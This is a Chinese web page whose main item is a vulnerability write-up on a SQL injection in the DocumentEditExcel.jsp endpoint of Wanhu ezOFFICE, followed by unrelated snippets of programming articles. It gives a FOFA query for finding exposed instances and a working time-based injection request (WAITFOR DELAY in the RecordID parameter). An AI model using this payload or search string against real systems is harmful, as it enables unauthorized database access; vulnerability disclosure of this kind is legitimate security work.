当前位置：首页 > news >正文

万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞

news 2025/9/11 17:19:19

0x01 产品简介

万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日常工作紧密结合起来，有效提高工作效率。

0x02 漏洞概述

万户 ezOFFICE DocumentEditExcel.jsp接口存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

0x03 复现环境

FOFA：app="万户ezOFFICE协同管理平台"

0x04 漏洞复现

PoC

GET /defaultroot/public/iWebOfficeSign/DocumentEditExcel.jsp;?RecordID=1%27%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Moziilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close

万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞

0x01 产品简介万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日…...

编程日记 2024/1/31 9:35:11

OpenCV 2 - 矩阵的掩膜操作

1知识点 1-1 CV_Assert(myImage.depth() == CV_8U); 确保输入图像是无符号字符类型,若该函数括号内的表达式为false，则会抛出一个错误。 1-2 Mat.ptr(int i = 0); 获取像素矩阵的指针，索引 i 表示第几行，从0开始计行数。 1-3 const uchar* current = mylmage.ptr(row); 获得…...

编程日记 2024/1/31 9:34:10

linux -- 内存管理 -- 页面分配器

linux内存管理为什么要了解linux内存管理分配并使用内存，是内核程序与驱动程序中非常重要的一环。内存分配函数都依赖于内核中一个非常复杂而重要的组件 - 内存管理。 linux驱动程序不可避免要与内核中的内存管理模块打交道。 linux内存管理可以总体上分为两大…...

编程日记 2024/1/31 9:33:09

StarRocks-3.1.0 单节点部署

1. 相关环境准备 FE： /opt/starrocks BE： /opt/starrocks 安装包下载 wget https://releases.starrocks.io/starrocks/StarRocks-3.1.0.tar.gz解压缩 tar -zxvf StarRocks-3.1.0.tar.gz 安装jdk (v2.5 及以上版本建议安装 JDK 11，我们使用…...

编程日记 2024/1/31 9:32:08

2023美赛A题之Lotka-Volterra【完整思路+代码】

这是2023年的成功，考虑到曾经付费用户的负责，2024年可以发出来了。去年我辅导队伍数量：15，获奖M为主，个别F，H，零S。言归正传，这里我开始分享去年的方案。由于时间久远，我…...

编程日记 2024/1/31 9:29:06

关于如何将Win幻兽帕鲁服务端存档转化为单人本地存档的一种方法(无损转移)

本文转自博主的个人博客：https://blog.zhumengmeng.work,欢迎大家前往查看。原文链接：点我访问 **起因：**最近大火的开放世界缝合体游戏幻兽帕鲁的大火也是引起了博主的注意，然后博主和周边小伙伴纷纷入手，博主也是利…...

编程日记 2024/1/31 9:26:03

计算机网络——IP协议

前言网络层的主要负责地址分配和路由选择,ip负责在网络中进行数据包的路由和传输。 IPv4报文组成（了解） IPv4首部：IPv4首部包含了用于路由和传输数据的控制信息，其长度为20个字节（固定长度）。版本&#…...

编程日记 2024/1/31 9:21:59

Linux命令-ar命令（建立或修改备存文件，或是从备存文件中抽取文件）

补充说明 ar命令是一个建立或修改备存文件，或是从备存文件中抽取文件的工具，ar可让您集合许多文件，成为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限. 语法 ar [-]{dmpqrtx}[abcfilNoPsSuvV] [memberna…...

编程日记 2024/1/31 9:17:56

flask基于python的个人理财备忘录记账提醒系统vue

在当今高度发达的信息中，信息管理改革已成为一种更加广泛和全面的趋势。 “备忘记账系统”是基于Mysql数据库，在python程序设计的基础上实现的。为确保中国经济的持续发展，信息时代日益更新，蓬勃发展。同时，随着信息社…...

编程日记 2024/1/31 9:04:44

【leetcode题解C++】257.二叉树的所有路径 and 404.左叶子之和 and 112.路径总和

257. 二叉树的所有路径给你一个二叉树的根节点 root ，按任意顺序 ，返回所有从根节点到叶子节点的路径。叶子节点是指没有子节点的节点。示例 1： 输入：root [1,2,3,null,5] 输出：["1->2->5",&…...

编程日记 2024/1/31 9:01:41

Linux——文本编辑器Vim

Linux中的所有内容以文件形式管理，在命令行下更改文件内容，常常会用到文本编辑器。我们首选的文本编辑器是Vim，它是一个基于文本界面的编辑工具，使用简单且功能强大，更重要的是，Vim是所有Linux发行版本的默…...

编程日记 2024/1/31 9:00:40

以“美”为鉴，探寻香港比特币现货ETF的未来发展

出品｜欧科云链研究院作者｜Hedy Bi 根据The Block于1月29日的报道，嘉实国际成为了首家向香港证监会提交比特币现货ETF申请的机构。早在去年12月22日，香港证监会发布了《有关证监会认可基金投资虚拟资产的通函》，明确…...

编程日记 2024/1/31 8:59:39

Unity项目打包的方法（之一）

在 Unity 中，将项目打包成 .unitypackage 文件和直接压缩 Assets、Packages 和 ProjectSettings 目录有几个关键区别，主要体现在打包方式、使用目的和包含的内容上。打包成 UnityPackage .unitypackage 是 Unity 的一种打包格式，它允许你将项…...

编程日记 2024/1/31 8:56:36

如何安装MySQL

如何安装MySQL 前提条件下载MySQL在 Windows 上安装 MySQL验证 MySQL 安装 MySQL是当今工业界广泛使用的最流行的关系数据库管理软件之一。它通过各种存储引擎提供多用户访问支持。它得到了甲骨文公司的支持。在本节中，我们将学习如何为初学者下载和安装 MySQL。前…...

编程日记 2024/1/31 8:53:34

如何编写.gitignore文件

文章目录前端架构师教你如何编写.gitignore文件.gitignore文件简介.gitignore文件的语法规则.gitignore文件的最佳实践常见问题与解决前端架构师教你如何编写.gitignore文件 .gitignore文件简介 .gitignore文件是Git版本控制系统中一个非常有用的工具。它可以指定一组文件或…...

编程日记 2024/1/31 8:51:32

U-Boot学习(7)：内核启动之bootz启动zImage源码分析

在上一节中，我们分析了U-BOOT初始化的流程，最后就是进入U-Boot的命令行中执行了，如果用户没有任何操作，则经过固定延时后将执行默认的bootcmd环境变量里的指令，那这里面肯定就是启动内核了。在U-BOOT简介及命令行指令详…...

编程日记 2024/1/31 8:50:31

[GN] DP学习笔记板子

文章目录 Bitset滚动数组多重背包区间DP树形dp状压dp模拟退火 Bitset 使用bitset需要引用<bitset>头文件。其声明方法为: std::bitset<N>s; (N为s长度)常用函数： b.any() 判断b中是否存在值为1的二进制位 b.none() 判断b中是否不存在值为1的二…...

编程日记 2024/1/31 8:48:29

GLog开源库使用

Glog地址：https://github.com/google/glog 官方文档：http://google-glog.googlecode.com/svn/trunk/doc/glog.html 1.利用CMake进行编译，生成VS解决方案 （1）在glog-master文件夹内新建一个build文件夹，用…...

编程日记 2024/1/31 8:45:26

微信小程序如何实现点击上传图片功能

如下所示，实际需求中常常存在需要点击上传图片的功能，上传前显示边框表面图片显示大小，上传后将图形缩放到边框大小。实现如下： .wxml <view class="{{img_src==?blank-area:}}" style="width:100%;height:40%;display:flex;align-items: center;jus…...

编程日记 2024/1/31 8:44:25

Windows Qt C++ VTK 绘制三维曲线

Qt 自带数据可视化从文档上看，只能实现三维曲面。 QwtPlot3D在Qt6.6.0上没编译通过。 QCustomPlot 只能搞二维。 VTK~搞起。抄官网demo。后续需求： 1、对数轴 2、Y轴逆序 3、Z轴值给色带，类似等高线图的色带期待各位大佬多多指导。…...

编程日记 2024/1/31 8:43:24

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分： 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析： CTR…...

编程新知 2025/7/17 12:52:44

相机Camera日志实例分析之二：相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我，后续持续新增专题博文，谢谢！！！】上一篇我们讲了： 这一篇我们开始讲： 目录一、场景操作步骤二、日志基础关键字分级如下三、场景日志如下： 一、场景操作步骤操作步…...

编程新知 2025/9/6 15:45:16

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中，手势开发全攻略：

在 HarmonyOS 应用开发中，手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力，既支持点击、长按、拖拽等基础单一手势的精细控制，也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

编程新知 2025/6/20 18:20:46

基于服务器使用 apt 安装、配置 Nginx

🧾 一、查看可安装的 Nginx 版本首先，你可以运行以下命令查看可用版本： apt-cache madison nginx-core输出示例： nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...

编程新知 2025/8/26 18:00:13